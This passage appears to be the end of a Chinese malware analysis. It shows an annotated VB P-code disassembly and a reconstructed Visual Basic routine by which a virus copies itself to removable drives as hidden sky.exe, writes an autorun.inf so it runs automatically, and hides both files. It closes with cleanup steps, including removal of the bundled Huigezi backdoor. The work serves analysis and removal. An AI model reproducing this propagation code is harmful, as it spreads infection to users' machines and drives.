000048E1:  04   FLdRfVar var_10C
000048E4:  FD9F LdPrVar
000048E6:  FE98 LateMemCall
;修改注册表项使Smart Card服务启动类型为自动,也就是使病毒开机后自动运行,默认该服务已经存在,因此不必再添加服务
000048EC: 
000048EC:  00   LargeBos
000048EE:  00   LargeBos
000048F0:  28   LitVarI2: 97 0x61 var_12C
000048F5:  04   FLdRfVar var_15C
000048F8:  28   LitVarI2: 108 0x6C var_FC
000048FD:  FE68 ForVar For (counter = start) To (end)    ;for i = 97 to 108 从a至l盘
00004903:  00   LargeBos
00004905:  04   FLdRfVar var_15C
00004908:  FC22 CI4Var
0000490A:  04   FLdRfVar var_9C
0000490D:  0A   ImpAdCallFPR4 Chr()
00004912:  04   FLdRfVar var_9C
00004915:  3A   LitVarStr: ":\"
0000491A:  FBEF ConcatVar
0000491E:  FDFE CStrVarVal szIE
00004922:  04   FLdRfVar var_A0
00004925:  34   CStr2Ansi
00004926:  6C   ILdRf var_A0
00004929:  5E   ImpAdCallI4 KERNEL32.GetDriveTypeA
0000492E:  71   FStR4 var_180
00004931:  3C   SetLastSystemError
00004932:  6C   ILdRf var_180
00004935:  FD69 CVarI4 var_FC
00004939:  FCF6 FStVar var_190
0000493D:  32   FFreeStr szIE var_A0
00004944:  36   FFreeVar var_9C var_EC
0000494B:  00   LargeBos
0000494D:  04   FLdRfVar var_190
00004950:  28   LitVarI2: 2 0x2 var_CC    ;判断是否为移动盘,不为移动盘则不进行感染操作
00004955:  5D   HardType
00004956:  FB33 EqVarBool =
00004958:  1C   BranchF   Dis_Next
0000495B:  00   LargeBos
0000495D:  04   FLdRfVar var_15C
00004960:  FC22 CI4Var
00004962:  04   FLdRfVar var_9C
00004965:  0A   ImpAdCallFPR4 Chr()
0000496A:  04   FLdRfVar var_15C
0000496D:  FC22 CI4Var
0000496F:  04   FLdRfVar var_1A0
00004972:  0A   ImpAdCallFPR4 Chr()
00004977:  F5   LitI4: 7 0x7
0000497C:  04   FLdRfVar var_9C
0000497F:  3A   LitVarStr: ":\sky.exe"    ;判断移动盘根目录下的sky.exe文件是否存在
00004984:  FBEF ConcatVar
00004988:  0B   ImpAdCallI2 Dir()
0000498D:  23   FStStrNoPop szIE
00004990:  1B   LitStr: ""
00004993:  FB30 EqStr =
00004995:  F5   LitI4: 7 0x7
0000499A:  04   FLdRfVar var_1A0
0000499D:  3A   LitVarStr: ":\autorun.inf"  ;判断移动盘根目录下的autorun.inf文件是否存在
000049A2:  FBEF ConcatVar
000049A6:  0B   ImpAdCallI2 Dir()
000049AB:  23   FStStrNoPop var_A0
000049AE:  1B   LitStr: ""
000049B1:  FB30 EqStr =
000049B3:  C5   OrI4 Or          ;autorun.inf和sky.exe两个文件有一者不存在就感染移动盘
000049B4:  32   FFreeStr szIE var_A0
000049BB:  36   FFreeVar var_9C var_EC var_1A0 var_1B0
000049C6:  1C   BranchF   Dis_Next01    ;如果两个文件都存在则跳去处理下一分区
000049C9:  00   LargeBos
000049CB:  F5   LitI4: 0 0x0
000049D0:  1B   LitStr: "Scripting.FileSystemObject"
000049D3:  04   FLdRfVar var_9C
000049D6:  0A   ImpAdCallFPR4 rtcCreateObject2
000049DB:  04   FLdRfVar var_9C
000049DE:  04   FLdRfVar var_B0
000049E1:  FE4E SetVarVarFunc
000049E3:  00   LargeBos
000049E5:  04   FLdRfVar var_15C
000049E8:  FC22 CI4Var
000049EA:  04   FLdRfVar var_9C
000049ED:  0A   ImpAdCallFPR4 Chr()
000049F2:  F5   LitI4: 7 0x7
000049F7:  04   FLdRfVar var_9C
000049FA:  3A   LitVarStr: ":\sky.exe"
000049FF:  FBEF ConcatVar
00004A03:  0B   ImpAdCallI2 Dir()
00004A08:  23   FStStrNoPop szIE
00004A0B:  1B   LitStr: ""
00004A0E:  FB3D NeStr <>
00004A10:  2F   FFree1Str szIE
00004A13:  36   FFreeVar var_9C var_EC
00004A1A:  1C   BranchF   00004A89
00004A1D:  00   LargeBos
00004A1F:  04   FLdRfVar var_15C
00004A22:  FC22 CI4Var
00004A24:  04   FLdRfVar var_9C
00004A27:  0A   ImpAdCallFPR4 Chr()
00004A2C:  04   FLdRfVar var_9C
00004A2F:  3A   LitVarStr: ":\sky.exe"
00004A34:  FBEF ConcatVar
00004A38:  25   PopAdLdVar
00004A39:  04   FLdRfVar var_B0
00004A3C:  FF42 VarLateMemCallLdVar
00004A44:  04   FLdRfVar var_DC
00004A47:  FE4E SetVarVarFunc
00004A49:  36   FFreeVar var_9C var_EC
00004A50:  00   LargeBos
00004A52:  28   LitVarI2: 32 0x20 var_CC
00004A57:  25   PopAdLdVar
00004A58:  04   FLdRfVar var_DC
00004A5B:  FF43 VarLateMemSt
00004A5F:  00   LargeBos
00004A61:  04   FLdRfVar var_15C
00004A64:  FC22 CI4Var
00004A66:  04   FLdRfVar var_9C
00004A69:  0A   ImpAdCallFPR4 Chr()
00004A6E:  04   FLdRfVar var_9C
00004A71:  3A   LitVarStr: ":\sky.exe"
00004A76:  FBEF ConcatVar
00004A7A:  0A   ImpAdCallFPR4 Kill()  ;移动盘根目录下的sky.exe文件存在则删除该文件
00004A7F:  36   FFreeVar var_9C var_EC
00004A86:  1E   Branch   00004B2C
00004A89: loc_00004A1A
00004A89:  00   LargeBos
00004A8B:  04   FLdRfVar var_15C
00004A8E:  FC22 CI4Var
00004A90:  04   FLdRfVar var_9C
00004A93:  0A   ImpAdCallFPR4 Chr()
00004A98:  F5   LitI4: 7 0x7
00004A9D:  04   FLdRfVar var_9C
00004AA0:  3A   LitVarStr: ":\autorun.inf"
00004AA5:  FBEF ConcatVar
00004AA9:  0B   ImpAdCallI2 Dir()
00004AAE:  23   FStStrNoPop szIE
00004AB1:  1B   LitStr: ""
00004AB4:  FB3D NeStr <>
00004AB6:  2F   FFree1Str szIE
00004AB9:  36   FFreeVar var_9C var_EC
00004AC0:  1C   BranchF   00004B2C
00004AC3:  00   LargeBos
00004AC5:  04   FLdRfVar var_15C
00004AC8:  FC22 CI4Var
00004ACA:  04   FLdRfVar var_9C
00004ACD:  0A   ImpAdCallFPR4 Chr()
00004AD2:  04   FLdRfVar var_9C
00004AD5:  3A   LitVarStr: ":\autorun.inf"
00004ADA:  FBEF ConcatVar
00004ADE:  25   PopAdLdVar
00004ADF:  04   FLdRfVar var_B0
00004AE2:  FF42 VarLateMemCallLdVar
00004AEA:  04   FLdRfVar var_DC
00004AED:  FE4E SetVarVarFunc
00004AEF:  36   FFreeVar var_9C var_EC
00004AF6:  00   LargeBos
00004AF8:  28   LitVarI2: 32 0x20 var_CC
00004AFD:  25   PopAdLdVar
00004AFE:  04   FLdRfVar var_DC
00004B01:  FF43 VarLateMemSt
00004B05:  00   LargeBos
00004B07:  04   FLdRfVar var_15C
00004B0A:  FC22 CI4Var
00004B0C:  04   FLdRfVar var_9C
00004B0F:  0A   ImpAdCallFPR4 Chr()
00004B14:  04   FLdRfVar var_9C
00004B17:  3A   LitVarStr: ":\autorun.inf"    ;移动盘的根目录下的autrun.inf文件存在则删除之
00004B1C:  FBEF ConcatVar
00004B20:  0A   ImpAdCallFPR4 Kill()
00004B25:  36   FFreeVar var_9C var_EC
00004B2C: loc_00004AC0
00004B2C: loc_00004A86
00004B2C:  00   LargeBos
00004B2E:  00   LargeBos
00004B30:  04   FLdRfVar szIE
00004B33:  04   FLdRfVar var_88
00004B36:  05   ImpAdLdRf
00004B39:  24   NewIfNullPr
00004B3C:  0D   VCallHresult Global.Get_App() As App
00004B41:  08   FLdPr var_88
00004B44:  0D   VCallHresult App.Get_Path()
00004B49:  6C   ILdRf szIE
00004B4C:  1B   LitStr: "\"
00004B4F:  2A   ConcatStr
00004B50:  23   FStStrNoPop var_B8
00004B53:  04   FLdRfVar var_A0
00004B56:  04   FLdRfVar var_B4
00004B59:  05   ImpAdLdRf
00004B5C:  24   NewIfNullPr
00004B5F:  0D   VCallHresult Global.Get_App() As App
00004B64:  08   FLdPr var_B4
00004B67:  0D   VCallHresult App.Get_EXEName()
00004B6C:  6C   ILdRf var_A0
00004B6F:  2A   ConcatStr
00004B70:  23   FStStrNoPop var_BC
00004B73:  1B   LitStr: ".exe"
00004B76:  2A   ConcatStr
00004B77:  46   CVarStr var_9C
00004B7A:  25   PopAdLdVar
00004B7B:  04   FLdRfVar var_B0
00004B7E:  FF42 VarLateMemCallLdVar
00004B86:  04   FLdRfVar var_DC
00004B89:  FE4E SetVarVarFunc
00004B8B:  32   FFreeStr szIE var_B8 var_A0 var_BC
00004B96:  29   FFreeAd: var_88 var_B4
00004B9D:  35   FFree1Var var_9C
00004BA0:  00   LargeBos
00004BA2:  04   FLdRfVar var_15C
00004BA5:  FC22 CI4Var
00004BA7:  04   FLdRfVar var_9C
00004BAA:  0A   ImpAdCallFPR4 Chr()
00004BAF:  04   FLdRfVar var_9C
00004BB2:  3A   LitVarStr: ":\sky.exe"    ;复制病毒自身至移动盘根目录下,命名为sky.exe
00004BB7:  FBEF ConcatVar
00004BBB:  25   PopAdLdVar
00004BBC:  04   FLdRfVar var_DC
00004BBF:  FD9F LdPrVar
00004BC1:  FE98 LateMemCall
00004BC7:  36   FFreeVar var_9C var_EC
00004BCE:  00   LargeBos
00004BD0:  04   FLdRfVar var_15C
00004BD3:  FC22 CI4Var
00004BD5:  04   FLdRfVar var_9C
00004BD8:  0A   ImpAdCallFPR4 Chr()
00004BDD:  04   FLdRfVar var_9C
00004BE0:  3A   LitVarStr: ":\sky.exe"      ;设置文件属性为系统隐藏只读
00004BE5:  FBEF ConcatVar
00004BE9:  25   PopAdLdVar
00004BEA:  04   FLdRfVar var_B0
00004BED:  FF42 VarLateMemCallLdVar
00004BF5:  04   FLdRfVar var_DC
00004BF8:  FE4E SetVarVarFunc
00004BFA:  36   FFreeVar var_9C var_EC
00004C01:  00   LargeBos
00004C03:  28   LitVarI2: 7 0x7 var_CC
00004C08:  25   PopAdLdVar
00004C09:  04   FLdRfVar var_DC
00004C0C:  FF43 VarLateMemSt
00004C10:  00   LargeBos
00004C12:  04   FLdRfVar szIE
00004C15:  04   FLdRfVar var_88
00004C18:  05   ImpAdLdRf
00004C1B:  24   NewIfNullPr
00004C1E:  0D   VCallHresult Global.Get_App() As App
00004C23:  08   FLdPr var_88
00004C26:  0D   VCallHresult App.Get_Path()
00004C2B:  04   FLdRfVar var_15C
00004C2E:  FC22 CI4Var
00004C30:  04   FLdRfVar var_EC
00004C33:  0A   ImpAdCallFPR4 Chr()
00004C38:  F5   LitI4: 7 0x7
00004C3D:  6C   ILdRf szIE
00004C40:  1B   LitStr: "\windowsupdate.log"
00004C43:  2A   ConcatStr
00004C44:  46   CVarStr var_9C
00004C47:  0B   ImpAdCallI2 Dir()
00004C4C:  23   FStStrNoPop var_A0
00004C4F:  1B   LitStr: ""
00004C52:  FB3D NeStr <>
00004C54:  F5   LitI4: 7 0x7
00004C59:  04   FLdRfVar var_EC
00004C5C:  3A   LitVarStr: ":\systemcheck.log"
00004C61:  FBEF ConcatVar
00004C65:  0B   ImpAdCallI2 Dir()
00004C6A:  23   FStStrNoPop var_B8
00004C6D:  1B   LitStr: ""
00004C70:  FB30 EqStr =
00004C72:  C4   AndI4 And    ;判断程序当前目录下的windowsupdate.log和移动盘根目录下的systemcheck.log
文件是否存在,当程序当前目录下的windowsupdate.log文件存在并且移动盘根目录下的systemcheck.log文件不存在时,
复制windowsupdate.log为移动盘根目录下systemcheck.log,并设置复制后的文件属性为系统隐藏只读
00004C73:  32   FFreeStr szIE var_A0 var_B8
00004C7C:  1A   FFree1Ad var_88
00004C7F:  36   FFreeVar var_9C var_EC var_1A0
00004C88:  1C   BranchF   00004D3A
00004C8B:  00   LargeBos
00004C8D:  04   FLdRfVar szIE
00004C90:  04   FLdRfVar var_88
00004C93:  05   ImpAdLdRf
00004C96:  24   NewIfNullPr
00004C99:  0D   VCallHresult Global.Get_App() As App
00004C9E:  08   FLdPr var_88
00004CA1:  0D   VCallHresult App.Get_Path()
00004CA6:  6C   ILdRf szIE
00004CA9:  1B   LitStr: "\windowsupdate.log"
00004CAC:  2A   ConcatStr
00004CAD:  46   CVarStr var_9C
00004CB0:  25   PopAdLdVar
00004CB1:  04   FLdRfVar var_B0
00004CB4:  FF42 VarLateMemCallLdVar
00004CBC:  04   FLdRfVar var_DC
00004CBF:  FE4E SetVarVarFunc
00004CC1:  2F   FFree1Str szIE
00004CC4:  1A   FFree1Ad var_88
00004CC7:  35   FFree1Var var_9C
00004CCA:  00   LargeBos
00004CCC:  04   FLdRfVar var_15C
00004CCF:  FC22 CI4Var
00004CD1:  04   FLdRfVar var_9C
00004CD4:  0A   ImpAdCallFPR4 Chr()
00004CD9:  04   FLdRfVar var_9C
00004CDC:  3A   LitVarStr: ":\systemcheck.log"
00004CE1:  FBEF ConcatVar
00004CE5:  25   PopAdLdVar
00004CE6:  04   FLdRfVar var_DC
00004CE9:  FD9F LdPrVar
00004CEB:  FE98 LateMemCall
00004CF1:  36   FFreeVar var_9C var_EC
00004CF8:  00   LargeBos
00004CFA:  04   FLdRfVar var_15C
00004CFD:  FC22 CI4Var
00004CFF:  04   FLdRfVar var_9C
00004D02:  0A   ImpAdCallFPR4 Chr()
00004D07:  04   FLdRfVar var_9C
00004D0A:  3A   LitVarStr: ":\systemcheck.log"
00004D0F:  FBEF ConcatVar
00004D13:  25   PopAdLdVar
00004D14:  04   FLdRfVar var_B0
00004D17:  FF42 VarLateMemCallLdVar
00004D1F:  04   FLdRfVar var_DC
00004D22:  FE4E SetVarVarFunc
00004D24:  36   FFreeVar var_9C var_EC
00004D2B:  00   LargeBos
00004D2D:  28   LitVarI2: 7 0x7 var_CC
00004D32:  25   PopAdLdVar
00004D33:  04   FLdRfVar var_DC
00004D36:  FF43 VarLateMemSt
00004D3A: loc_00004C88
00004D3A:  00   LargeBos
00004D3C:  00   LargeBos
00004D3E:  27   LitVar_Missing
00004D41:  0B   ImpAdCallI2 FreeFile()    ;var = freefile
00004D46:  44   CVarI2 var_FC
00004D49:  FCF6 FStVar var_11C
00004D4D:  35   FFree1Var var_9C
00004D50:  00   LargeBos
00004D52:  04   FLdRfVar var_15C
00004D55:  FC22 CI4Var
00004D57:  04   FLdRfVar var_9C
00004D5A:  0A   ImpAdCallFPR4 Chr()
00004D5F:  04   FLdRfVar var_9C
00004D62:  3A   LitVarStr: ":\autorun.inf"    ;在移动盘的根目录下生成autorun.inf文件.
00004D67:  FBEF ConcatVar
00004D6B:  60   CStrVarTmp
00004D6C:  23   FStStrNoPop szIE
00004D6F:  04   FLdRfVar var_11C
00004D72:  55   CI2Var
00004D73:  F4   LitI2_Byte: 255 0xFF (True)
00004D75:  FE5D OpenFile
00004D79:  2F   FFree1Str szIE
00004D7C:  36   FFreeVar var_9C var_EC
00004D83:  00   LargeBos
00004D85:  1B   LitStr: "[AutoRun]"
00004D88:  04   FLdRfVar var_11C
00004D8B:  55   CI2Var
00004D8C:  FF0E PrintFile Print #filenumber, [outputlist]
00004D92:  00   LargeBos
00004D94:  1B   LitStr: "open=sky.exe"
00004D97:  04   FLdRfVar var_11C
00004D9A:  55   CI2Var
00004D9B:  FF0E PrintFile Print #filenumber, [outputlist]
00004DA1:  00   LargeBos
00004DA3:  1B   LitStr: "shellexecute=sky.exe"
00004DA6:  04   FLdRfVar var_11C
00004DA9:  55   CI2Var
00004DAA:  FF0E PrintFile Print #filenumber, [outputlist]
00004DB0:  00   LargeBos
00004DB2:  1B   LitStr: "shell\Auto\command=sky.exe"
00004DB5:  04   FLdRfVar var_11C
00004DB8:  55   CI2Var
00004DB9:  FF0E PrintFile Print #filenumber, [outputlist]
00004DBF:  00   LargeBos
00004DC1:  1B   LitStr: "shell=Auto"
00004DC4:  04   FLdRfVar var_11C
00004DC7:  55   CI2Var
00004DC8:  FF0E PrintFile Print #filenumber, [outputlist]
00004DCE:  00   LargeBos
00004DD0:  FD3E CloseAll
00004DD2:  00   LargeBos
00004DD4:  04   FLdRfVar var_15C
00004DD7:  FC22 CI4Var
00004DD9:  04   FLdRfVar var_9C
00004DDC:  0A   ImpAdCallFPR4 Chr()
00004DE1:  04   FLdRfVar var_9C
00004DE4:  3A   LitVarStr: ":\autorun.inf"
00004DE9:  FBEF ConcatVar
00004DED:  25   PopAdLdVar
00004DEE:  04   FLdRfVar var_B0
00004DF1:  FF42 VarLateMemCallLdVar
00004DF9:  04   FLdRfVar var_DC
00004DFC:  FE4E SetVarVarFunc
00004DFE:  36   FFreeVar var_9C var_EC
00004E05:  00   LargeBos
00004E07:  28   LitVarI2: 7 0x7 var_CC
00004E0C:  25   PopAdLdVar
00004E0D:  04   FLdRfVar var_DC
00004E10:  FF43 VarLateMemSt
Dis_Next01: 
00004E14:  00   LargeBos
Dis_Next: 
00004E16:  00   LargeBos
00004E18:  00   LargeBos
00004E1A:  04   FLdRfVar var_15C
00004E1D:  FE7E NextStepVar Next (element)
00004E23:  00   LargeBos
00004E25:  13   ExitProcHresult
;这部分的循环代码比较长,总结一下这部分源代码如下:
;Private sub Timer1_Timer()
;Dim i As Long
;Dim szDrive As String
;Dim szRoot As String
;Dim fn As Long

;For i = 97 To 108
;    szDrive = Chr$(i)
;    szRoot = Chr$(i) & ":\"
;    If GetDriveType(szRoot) = DRIVE_REMOVABLE Then
;        If Dir(szDrive & ":\sky.exe", vbHidden Or vbReadOnly Or vbSystem) = "" _
;        Or Dir(szDrive & ":\autorun.inf", vbHidden Or vbReadOnly Or vbSystem) = "" Then
;            If Dir(szDrive & ":\sky.exe", vbHidden Or vbReadOnly Or vbSystem) <> "" Then
;                SetAttr szDrive & ":\sky.exe", vbNormal
;                Kill szDrive & ":\sky.exe"
;            End If
;            If Dir(szDrive & ":\autorun.inf", vbHidden Or vbReadOnly Or vbSystem) <> "" Then
;                SetAttr szDrive & ":\autorun.inf", vbNormal
;                Kill szDrive & ":\autorun.inf"
;            End If
;            FileCopy App.Path & "\" & App.EXEName & ".exe", szDrive & ":\sky.exe"
;            SetAttr szDrive & ":\sky.exe", vbHidden Or vbReadOnly Or vbSystem
;
;            If Dir(App.Path & "\windowsupdate.log", vbSystem Or vbHidden Or vbReadOnly) <> "" _
;            And Dir(szDrive & ":\systemcheck.log", vbHidden Or vbSystem Or vbReadOnly) = "" Then
;                FileCopy App.Path & "\windowsupdate.log", szDrive & ":\systemcheck.log"
;                SetAttr szDrive & ":\systemcheck.log", vbHidden Or vbSystem Or vbReadOnly
;            End If
;            fn = FreeFile
;            Open szDrive & ":\autorun.inf" For Output As fn
;                Print #fn, "[AutoRun]"
;                Print #fn, "open=sky.exe"
;                Print #fn, "shellexecute=sky.exe"
;                Print #fn, "shell\Auto\command=sky.exe"
;                Print #fn, "shell=Auto"
;            Close fn
;            SetAttr szDrive & ":\autorun.inf", vbHidden Or vbSystem Or vbReadOnly
;        End If
;    End If
;Next i
;End Sub 
End Sub

到这里为止,病毒的三个的代码分析都讲完了,这回对三个事件做个简单的总结:

事    件  说    明
Main   复制病毒体IExplorer.exe、scardsvr.exe、运行灰鸽子程序
Form_Load   启动设置计时器Timer,激活计时器
Timer1_Timer   感染可用的移动盘、生成病毒u盘自启动文件、设置病毒服务开机自启动
 

【解决方案】:
这里怎么清除该病毒,清除方法如下:
1、中止系统进程中的"scardsvr.exe";
2、删除%system%\dllcache目录下的scardsvr.exe;
3、删除系统目录下的IExplorer.exe和scardsvr.exe;
4、在运行中输入:"services.msc",然后将以下服务设置为禁止启动:
名称:Smart Card
描述:管理此计算机对智能卡的取读访问。如果此服务被终止,此计算机将无法取读智能卡。如果此服务被禁用,任何依赖它的服务将无法启动。
路径:C:\WINDOWS\System32\SCardSvr.exe
将启动类型改成禁止
5、删除系统目录下的windowsupdate.log和systemcheck.log。
6、删除各移动盘内的sky.exe和autorun.inf以及systemcheck.log。
这样这个病毒就清除干净了,下面说说该病毒并行的灰鸽子清除方法:
重启进入安模式,删除%windir%\system32\msddsl.ex,再重启就行了(由于文件被删除了,因此服务删不删除都没有太大关系)。


全文完